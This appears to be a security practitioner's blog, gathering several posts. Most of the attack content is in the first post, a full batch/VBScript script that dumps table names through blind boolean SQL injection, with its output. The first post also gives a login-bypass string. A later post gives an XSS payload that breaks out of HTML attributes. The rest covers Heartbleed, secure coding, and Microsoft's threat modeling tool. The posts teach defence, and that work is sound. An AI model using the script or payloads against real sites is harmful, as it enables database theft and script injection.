Again, if you were to have designed poorly, you might allow for multiple user records to come back (suppose, say, you allow the user to reuse old passwords, or old hashing algorithms), and you accept the first account with the right password. In that case, yes, an attacker could hack the login page with a common password, and the user ID “' OR userid LIKE '%” – but then the attacker would have to know the field was called userid, and they’re only going to get the first account in your database that has that password.

Doubtless there are many login pages which are vulnerable to SQL injection attacks like this, but they are relatively uncommon where developers have some experience or skill.

So if not on the login page, where do we see SQLi?

Where do you use a SQL-like database?

Anywhere there’s a table of data to be queried, whether it’s a dictionary of words, or a list of popular kitchen repair technicians, etc, etc.

Imagine I’ve got a dictionary searching page, weblexicon.example (that doesn’t exist, nor does weblexicon.com). Its main page offers me a field to provide a word, for which I want to see the definition.

If I give it a real word, it tells me the definition(s).

image

If I give it a non-existent word, it apologises for being unable to help me.

image

Seems like a database search is used here. Let’s see if it’s exploitable, by asking for “example’” – that’s “example” with an extra single quote at the end.

image

That’s pretty cool – we can tell now that the server is passing our information off to a MySQL server. Those things that look like double-quotes around the word ‘example’ are in fact two single-quotes. A bit confusing, but it helps to understand what’s going on here.

So, let’s feed the web lexicon a value that might exploit it. Sadly, it doesn’t accept multiple commands, and gives the “You have an error in your SQL syntax” message when I try it.

Worse still, for some reason I can’t use the “UNION” or “JOIN” operators to get more data than I’m allowed. This seems to be relatively common when there are extra parentheses, or other things we haven’t quite guessed about the command.

I’m blind!

That means we’re stuck with Blind SQL injection. With a blind SQL injection, or Blind SQLi, you can generally see whether a value is true or false, by the response you get back. Remember our comparison of a word that does exist and a word that doesn’t? Let’s try that in a query to look up a true / false value:

image

image

So now, we can ask true / false questions against the database.

Seems rather limiting.

Let’s say we’re looking to see if the MySQL server is running a particular vulnerable version – we could ask for “example’ and @@version=’1.2.3.4” – a true response would give us the hint that we can exploit that vulnerability.

LIKE my ‘sploit

But the SQL language has so many other options. We can say “does your version number begin with a ‘4’”

image

Or 5.

image

A bit more exciting, but still pedestrian.

What if I want to find out what the currently executing statement looks like? I could ask “is it an ‘a’? a ‘b’? a ‘c’?” and so on, but that is too slow.

Instead, I could ask for each bit of the characters, and that’s certainly a good strategy – but the one I chose is to simply do a binary search, which is computationally equivalent.

What language, that’s the question…

A fifteen-year-old vulnerability (SQL injection is older than that, but I couldn’t do the maths) deserves the same age of language to write my attack in.

So I chose batch file and VBScript (OK, they’re both older than 15). Batch files can’t actually download a web page, so that’s the part I wrote in VBScript.

And the fun thing to dump would be all of the table names. That way, we can see what we have to play with.

So here you go, a simple batch script to do Blind Boolean SQL injection to list all the tables in the system.

setlocal ENABLEDELAYEDEXPANSION
setlocal ENABLEEXTENSIONS
echo wscript.echo chr(wscript.arguments(0)) > charout.vbs
set last=
set stem=%last%
set lasti=0
set out=sqli.out
:looping
@set found=_
:looping2
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+like+'%stem%%%')+and+1='1 >%out%
@findstr /c:"1. [n" %out%> nul || (
  set last2=%stem:\_=_%
  if "!last!" lss "!last2!" (
    set last=!last2!
    echo !last!
    set /a lasti=!lasti!+1
    set stem=
rem pause
    goto :looping
  )
  rem pause
  set stem=!stem:~0,-1!
  title %stem%.
  goto :looping2
)
@set nchars=1
@set nqueries=0
:charloop
@set lower=32
@set higher=127
:check
@set /a mid = (%lower% + %higher%) / 2
@cscript htget.vbs //nologo http://weblexicon.example/definition.php?query=example'+and+(ascii(substring((select+table_name+from+information_schema.tables+limit+1+offset+%lasti%)+from+%nchars%+for+1))+between+%lower%+and+%mid%)+and+1='1 >%out%
@set /a nqueries=%nqueries%+1
@findstr /c:"1. [n" %out%> nul && (
    set higher=%mid%
    set /a mid=%lower%-1
)
@set /a lower=%mid%+1
@if %lower% EQU 127 goto donecheck
@if %lower% NEQ %higher% goto check
@if %lower% EQU 32 @(set found= )
@for /f %%a in ('cscript charout.vbs //nologo %lower%') do @set found=%%a
@rem pause
@set stem=%stem%%found%
@rem echo . | set /p foo=%found: =+%
@title !stem!
@set /a nchars=%nchars%+1
@goto charloop
:donecheck
@echo %lasti%: %stem%
@rem (%nqueries% queries)
@rem pause
@set /a lasti=!lasti!+1
@set stem=
@goto :looping

And the output (demonstrating that there are still some concurrency issues to take care of):

0: CHARACTER_SETS
1: COLLATIONS
2: COLLATION_CHARACTER_SET_APPLICABILITY
3: COLUMNS
4: COLUMN_PRIVILEGES
5: ENGINES
6: EVENTS
7: F
8: GLOBAL_SgATUS
9: GLOBAL_VARIABLES
10: KEY_COLUMN_USAGE
11: PARAMETERS
12: PARTITIONS
13: PLUGINS
14: PROCESSLIST
15: PROFILING
16: REFERENTIAL_CONSTRAINTS
17: ROUTINES
18: SCHEMATA
19: SCHEMA_PRIVILEGES
20: SESSION_STATUS
21: SESSION_VARIABLES
22: STATISTICS
23: TABLES
24: TABLESPACES
25: TABLE_CONSTRAINTS
26: TABLE_PRIVILEGES
27: TRIGGERS
28: USER_PRIVILEGES
29: VIEWS
30: INNODB_BUFFER_PAGE
31: INNODB_TRX
32: INNODB_BUFFER_POOL_S
33: INNODB_LOCK_WAITS
34: INNODB_CMPMEM
35: INNODB_CMP
36: INNODB_LOCKS
37: INNODB_CMPMEM_RESET
38: INNODB_CMP_RESET
39: INNODB_BUFFER_PAGE_
40: alternatives
41: quotes
42: words

60 lines? What, that’s it?

Yes, that’s all it takes.

If you’re a developer of a web app which uses a relational database back-end, take note – it’s exactly this easy to dump your database contents. A few changes to the batch file, and I’m dumping column names and types, then individual items from tables.

And that’s all assuming I’m stuck with a blind SQL injection.

The weblexicon site lists table contents as its definitions, so in theory I should be able to use a UNION or a JOIN to add data from other tables into the definitions it displays. It’s made easier by the fact that I can also access the command I’m injecting into, by virtue of MySQL including that in a process table.

Note that if I’m attacking a different site with a different injection point, I need to make two changes to my batch script, and I’m away. Granted, this isn’t exactly sqlmap.py, but then again, sqlmap.py doesn’t always find or exploit all the vulns that you have available.

Summary

The takeaways today:

  1. SQLi is a high damage attack – an attacker can probably steal ALL your data from your databases, not just the data exposed on a page, and they may be able to modify ALL your data.
  2. SQLi is easy to find – there are lists of thousands of vulnerable websites available for anyone to view. And that’s without looking on the “Dark Web”. Also, any data-handling web site is a great target to try.
  3. SQLi is easy to exploit – a few lines of an archaic language are all it takes.
  4. SQLi is easy to fix. Parameterised queries, input validation, access control and least-privilege combine (don’t use just one!) to protect your site.

Disclaimer

The code in this article is for demonstration purposes – I’m not going to explain how it works, although it is very simple. The only point of including it is to show that a small amount of code can be the cause of a huge extraction of your site’s data, but can be prevented by a small change.

Don’t use this code to do bad things. Don’t use other code to do bad things. Bad people are doing bad things with code like this (and better) already. Do good things with this code, and keep those bad people out.

Heartbleed–musings while it’s still (nearly) topical

Hopefully, you’ll all know by now what Heartbleed is about. It’s not a virus, it’s a bug in a new feature that was added to a version of OpenSSL, wasn’t very well checked before making it part of the standard build, and which has for the last couple of years meant that any vulnerable system can have its running memory leached by an attacker who can connect to it. I have a number of approaches to make to this, which I haven’t seen elsewhere:

Behavioural Changes to Prevent “the next” Heartbleed

You know me, I’m all about the “defence against the dark arts” side of information security – it’s fun to attack systems, but it’s more interesting to be able to find ways to defend.

Here are some of my suggestions about programming practices that would help:

  1. Don’t adopt new features into established protocols without a clear need to do so. Why was enabling the Heartbeat extension a necessary thing to foist on everyone? Was it a MUST in the RFC? Heartbeat, “keep-alive” and similar measures are a waste of time on most of the Internet’s traffic, either because the application layer already keeps up a constant communication, or because it’s easy to recover and restart. Think very carefully before adopting as mandatory a new feature into a security related protocol.
  2. This was not a security coding bug, it was a secure coding bug, but in a critical piece of security code. Secure code practices in general should be a part of all developers’ training and process, much like hand-washing is important for doctors whether they’re performing surgery or checking your throat for swelling. In this case, the code submitted should have tripped a “this looks odd” sense in the reviewer, combined with its paucity of comments and self-explanation (but then, OpenSSL is by and large that way anyway).
  3. Check lengths of buffers. When data is structured, or wrapped in layers, like SSL records are, transform it back into structures and verify at each layer. I’m actually trying to say write object-oriented code to represent objects – whether the language is object-oriented or not. [It’s a matter of some pride for me that I reviewed some of the Fortran code I wrote as a student back in the mid eighties, and I can see object-orientedness trying to squeeze its way out.]
  4. Pay someone to review code. Make it their job, pay them well to cover the boredom, and hold them responsible for reviewing it properly. If it matters enough to be widely used, it matters enough to be supported.
  5. Stop using magic numbers. No “1 + 2 + 16” – use sizeof, even when it’s bleedin’ obvious.
  6. Unit tests. And then tests written by a QA guy, who’s trying to make it fail.

There’s just a few ideas off the top of my head. It’s true that this was a HARD bug to find in automated code review, or even with manual code review (though item 2 above tells you that I think the code looked perverse enough for a reviewer to demand better, cleaner code that could at least be read).

National Security reaction – inappropriate!

Clearly, from the number of sites (in all countries) affected negatively by this flaw, from the massive hysteria that has resulted, as well as the significant thefts disclosed to date, this bug was a National Security issue.

So, how does the US government respond to the allegations going around that they had knowledge of this bug for a long time?

By denying the allegations? By asserting they have a mandate to protect?

No, by reminding us that they’ll protect US (and world) industries UNLESS there’s a benefit to spying in withholding and exploiting the bug.

There was even a quote in the New York Times saying:

“You are not going to see the Chinese give up on ‘zero days’ just because we do.”

No, you’re going to see “the Chinese” [we always have to have an identifiable bogeyman] give up on zero days when our response to finding them is to PATCH THEM, not hold them in reserve to exploit at our leisure.

Specifically, if we patch zero days when we find them, those weapons disappear from our adversaries’ arsenals.

If we hold on to zero days when we find them, those weapons are a part of our adversaries’ arsenals (because the bad guys share better than the good guys).

National Security officials should recognise that in cyberwar – which consists essentially of people sending postcards saying “please hit yourself” to one another, and then expressing satisfaction when the recipient does so – you win by defending far more than by attacking.

Many eyeballs review is surprisingly incomplete

It’s often been stated that “many eyeballs” review open source code, and as a result, the reviews are of implicitly better quality than closed source code.

Clearly, OpenSSL is an important and widely used piece of security software, and yet this change was, by all accounts, reviewed by three people before being published and widely deployed. Only one of those people works full time for OpenSSL, and another was the author of the feature in question.

There are not “many” eyeballs working on this review. Closed source will often substitute paid eyeballs for quantity of eyeballs, and as a result will often achieve better reviews.

Remember, it’s the quality of the review that counts, and not whether the source is closed or open.

Closed source that is thoroughly reviewed by experts is better than open source that’s barely reviewed at all.

Finally, in case you’re not yet tired of Heartbleed analogies

Yes, XKCD delivered perhaps the most widely used analogy.

But here’s the one I use to describe it to family members.

Imagine you’re manning a reception desk.

Calls come in, you write down messages, and you send them off.

At some point, you realise that this is a waste of paper, so you start writing your messages on a whiteboard.

Wiping the whole whiteboard for each message is a waste of effort, so you only wipe out enough space to write each incoming message.

Some messages are long, some are short.

One day, you are asked to read a message back to the person who leaves it, just after you wrote it.

And to make it easy, they tell you how long their message is.

If someone gave you a six letter message, and asked you to read all six hundred letters of it back to them, you’d be upset, because that’s not how many letters they gave you.

Computers aren’t so smart, they are just really fast idiots.

The computer doesn’t get surprised that you sent six characters and ask for six hundred back, so it reads off the entire whiteboard, containing bits and pieces of every message you’ve had sent through you.

And because most messages are small, and only some are large, there’s almost an entire message in each response.

Microsoft’s (new!) SDL Threat Modeling Tool 2014

Amid almost no fanfare whatsoever, Microsoft yesterday released a tool I’ve been begging them for over the last five or six years.

[This is not unusual for me to be so persistently demanding, as I’ve found it’s often the only way to get what I want.]

As you’ve guessed from the title, this tool is the “SDL Threat Modeling Tool 2014”. Sexy name, indeed.

Don’t they already have one of those?

Well, yeah, kind of. There’s the TAM Threat Analysis & Modeling Tool, which is looking quite creaky with age now, and which I never found to be particularly usable (though some people have had success with it, so I’m not completely dismissive of it). Then there’s the previous versions of the SDL Threat Modeling Tool.

These have had their uses – and certainly it’s noticeable that when I work with a team of developers, one of whom has worked at Microsoft, it’s encouraging to ask “show me your threat model” and have them turn around with something useful to dissect.

So what’s wrong with the current crop of TM tools?

In a word, Cost.

Threat modeling tools from other than Microsoft are pretty pricey. If you’re a government or military contractor, they’re probably great and wonderful. Otherwise, you’ll probably draw your DFDs in PowerPoint (yes, that’s one of the easier DFD tools available to most of you!), and write your threat models in Word.

Unless, of course, you download and use the Microsoft SDL Threat Modeling Tool, which has always been free.

So where’s the cost?

The SDL TM tool itself was free, but it had a rather significant dependency.

Visio.

Visio is not cheap.

As a result, those of us who championed threat modeling at all in our enterprises found it remarkably difficult to get approval to use a free tool that depended on an expensive tool that nobody was going to use.

What’s changed today?

With the release of Microsoft SDL Threat Modeling Tool 2014, Microsoft has finally delivered a tool that allows for the creation of moderately complex DFDs (you don’t want more complex DFDs than that, anyway!), and a threat library-based analysis of those DFDs, without making it depend on anything more expensive or niche than Windows and .NET. [So, essentially, just Windows.]

Yes, that means no Visio required.

Is there anything else good about this new tool?

A quick bullet list of some of the features you’ll like, besides the lack of Visio requirement:

  • Imports from the previous SDL Threat Modeling Tool (version 3), so you don’t have to re-work
  • Multiple diagrams per model, for different levels of DFD
  • Analysis is per-interaction, rather than per-object [scary, but functionally equivalent to per-object]
  • The file format is XML, and is reasonably resilient to modification
  • Objects and data flows can represent multiple types, defined in an XML KnowledgeBase
  • These types can have customised data elements, also defined in XML
  • The rules about what threats to generate are also defined in XML
  • [These together mean an enterprise can create a library of threats for their commonly-used components]
  • Trust boundaries can be lines, or boxes (demonstrating that trust boundaries surround regions of objects)
  • Currently supported by a development team who are responsive to feature requests

Call to Action?

Yes, every good blog post has to have one of these, doesn’t it? What am I asking you to do with this information?

Download the tool. Try it out on a relatively simple project, and see how easy it is to generate a few threats.

Once you’re familiar with the tool, visit the KnowledgeBase directory in the tool’s installation folder, and read the XML files that were used to create your threats.

Add an object type.

Add a data flow type.

Add custom properties that describe your custom types.

Use those custom properties in a rule you create to generate one of the common threats in your environment.

Work with others in your security and development teams to generate a good threat library, and embody it in XML rules that you can distribute to other users of the threat modeling tool in your enterprise.

Document and mitigate threats. Measure how successful you are, at predicting threats, at reducing risk, and at impacting security earlier in your development cycle.

Then do a better job on each project.

Ways you haven’t stopped my XSS, Number 2–backslash doesn’t encode quotes in HTML attributes

Last time in this series, I posted an example where XSS was possible because a site’s developer is unaware of the implications that his JavaScript is hosted inside of HTML.

This is sort of the opposite of that, noting that time-worn JavaScript (and C, Java, C++, C#, etc) methods don’t always apply to HTML.

The XSS mantra for HTML attributes

I teach that XSS is prevented absolutely by appropriate contextual encoding of user data on its way out of your application and into the page.

The context dictates what encoding you need, whether the context is “JavaScript string”, “JavaScript code”, “HTML attribute”, “HTML content”, “URL”, “CSS expression”, etc, etc.

In the case of HTML attributes, it’s actually fairly simple.

Unless you are putting a URL into an attribute, there are three simple rules:

  1. Every attribute’s value must be quoted, whether with single quotes or double quotes.
  2. If the quote you use appears in the attribute value, it must be encoded.
  3. You must encode any characters which could confuse the encoding. [Encode the encoding characters]

Seems easy, right?

This is all kinds of good, except when you run into a site where the developer hasn’t really thought about their encoding very well.

You see, HTML attribute values are encoded using HTML encoding, not C++ encoding.

To HTML, the back-slash has no particular meaning.

I see this all the time – I want to inject script, but the site only lets me put user data into an attribute value:

<meta name="keywords" content="Wot I searched for">

That’s lovely. I’d like to put "><script>prompt(1)</script> in there as a proof of concept, so that it reads:

<meta name="keywords" content=""><script>prompt(1)</script>">

The dev sees this, and cuts me off, by preventing me from ending the quoted string that makes up the value of the content attribute:

<meta name="keywords" content="\"><script>prompt(1)</script>">

Nice try, Charlie, but that back-slash, it’s just a back-slash. It means nothing to HTML, and so my quote character still ends the string. My prompt still executes, and you have to explain why your ‘fix’ got broken as soon as you released it.

Oh, if only you had chosen the correct HTML encoding, and replaced my quote with “&quot;” [and therefore, also replace every “&” in my query with “&amp;”], we’d be happy.

And this, my friends, is why every time you implement a mitigation, you must test it. And why you follow the security team’s guidance.

Exercise for the reader – how do you exploit this example if I don’t encode the quotes, but I do strip out angle brackets?